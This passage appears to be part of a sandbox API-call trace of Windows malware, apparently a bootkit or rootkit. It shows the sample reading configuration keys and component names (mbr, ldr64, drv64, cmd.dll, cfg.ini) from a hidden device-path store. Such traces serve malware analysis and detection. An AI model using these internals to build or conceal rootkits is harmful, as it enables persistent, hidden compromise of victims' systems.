Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.209] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.209] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.209] IdePortDispatch () returned 0x103 [0121.209] KeWaitForMutexObject () returned 0x0 [0121.209] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.209] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.209] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.209] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.209] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.209] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.209] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.209] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.209] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.209] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.209] KeLeaveCriticalRegion () [0121.209] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.209] ReleaseMutex (hMutex=0x100) returned 1 [0121.209] Sleep (dwMilliseconds=0x2bf20) [0121.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b719390, dwHighDateTime=0x1d24fa4)) [0121.216] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.216] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.216] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.216] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.216] KeEnterCriticalRegion () [0121.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.216] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.216] IdePortDispatch () returned 0x103 [0121.216] KeWaitForMutexObject () returned 0x0 [0121.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.216] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.216] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.216] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.216] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.216] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc39f0 [0121.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.216] KeLeaveCriticalRegion () [0121.216] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.216] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.216] KeEnterCriticalRegion () [0121.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.216] KeLeaveCriticalRegion () [0121.216] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.216] KeEnterCriticalRegion () [0121.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.217] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.217] IdePortDispatch () returned 0x103 [0121.217] KeWaitForMutexObject () returned 0x0 [0121.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.217] KeLeaveCriticalRegion () [0121.217] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.217] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.217] KeEnterCriticalRegion () [0121.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.217] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035da000 [0121.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.217] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.217] IdePortDispatch () returned 0x103 [0121.217] KeWaitForMutexObject () returned 0x0 [0121.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.217] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.217] IdePortDispatch () returned 0x103 [0121.217] KeWaitForMutexObject () returned 0x0 [0121.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] KeLeaveCriticalRegion () [0121.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.218] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.218] KeEnterCriticalRegion () [0121.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] KeLeaveCriticalRegion () [0121.218] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.218] KeEnterCriticalRegion () [0121.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.218] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] KeLeaveCriticalRegion () [0121.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.218] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.218] KeEnterCriticalRegion () [0121.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] ExFreePoolWithTag (P=0xfffffa8003bc39f0, Tag=0x0) [0121.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.218] KeLeaveCriticalRegion () [0121.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.218] ReleaseMutex (hMutex=0xf0) returned 1 [0121.218] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.219] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.219] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.219] KeEnterCriticalRegion () [0121.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.219] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.219] IdePortDispatch () returned 0x103 [0121.219] KeWaitForMutexObject () returned 0x0 [0121.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.219] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.219] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.219] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.219] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.219] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe140 [0121.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.219] KeLeaveCriticalRegion () [0121.219] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.219] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.219] KeEnterCriticalRegion () [0121.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.219] KeLeaveCriticalRegion () [0121.219] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.219] KeEnterCriticalRegion () [0121.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.219] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.219] IdePortDispatch () returned 0x103 [0121.220] KeWaitForMutexObject () returned 0x0 [0121.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.220] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.220] KeLeaveCriticalRegion () [0121.220] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.220] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.220] KeEnterCriticalRegion () [0121.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.220] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035db000 [0121.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.220] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.220] IdePortDispatch () returned 0x103 [0121.220] KeWaitForMutexObject () returned 0x0 [0121.220] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.220] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.220] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.220] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.220] IdePortDispatch () returned 0x103 [0121.220] KeWaitForMutexObject () returned 0x0 [0121.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] KeLeaveCriticalRegion () [0121.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.221] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.221] KeEnterCriticalRegion () [0121.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] KeLeaveCriticalRegion () [0121.221] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.221] KeEnterCriticalRegion () [0121.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.221] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] KeLeaveCriticalRegion () [0121.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.221] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.221] KeEnterCriticalRegion () [0121.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] ExFreePoolWithTag (P=0xfffffa8003bbe140, Tag=0x0) [0121.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.221] KeLeaveCriticalRegion () [0121.221] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.221] ReleaseMutex (hMutex=0xf0) returned 1 [0121.221] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.221] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.221] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.222] KeEnterCriticalRegion () [0121.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.222] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.222] IdePortDispatch () returned 0x103 [0121.223] KeWaitForMutexObject () returned 0x0 [0121.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.223] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.223] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.223] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.223] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.223] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba460 [0121.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.223] KeLeaveCriticalRegion () [0121.223] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.223] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.223] KeEnterCriticalRegion () [0121.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.223] KeLeaveCriticalRegion () [0121.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.223] KeEnterCriticalRegion () [0121.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.223] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.223] IdePortDispatch () returned 0x103 [0121.223] KeWaitForMutexObject () returned 0x0 [0121.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.223] KeLeaveCriticalRegion () [0121.223] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.224] KeEnterCriticalRegion () [0121.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dc000 [0121.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.224] IdePortDispatch () returned 0x103 [0121.224] KeWaitForMutexObject () returned 0x0 [0121.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.224] IdePortDispatch () returned 0x103 [0121.224] KeWaitForMutexObject () returned 0x0 [0121.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.224] KeLeaveCriticalRegion () [0121.224] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.225] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.225] KeEnterCriticalRegion () [0121.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] KeLeaveCriticalRegion () [0121.225] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.225] KeEnterCriticalRegion () [0121.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.225] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] KeLeaveCriticalRegion () [0121.225] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.225] KeEnterCriticalRegion () [0121.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] ExFreePoolWithTag (P=0xfffffa8003bba460, Tag=0x0) [0121.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] KeLeaveCriticalRegion () [0121.225] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.225] ReleaseMutex (hMutex=0xf0) returned 1 [0121.225] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.225] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.225] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 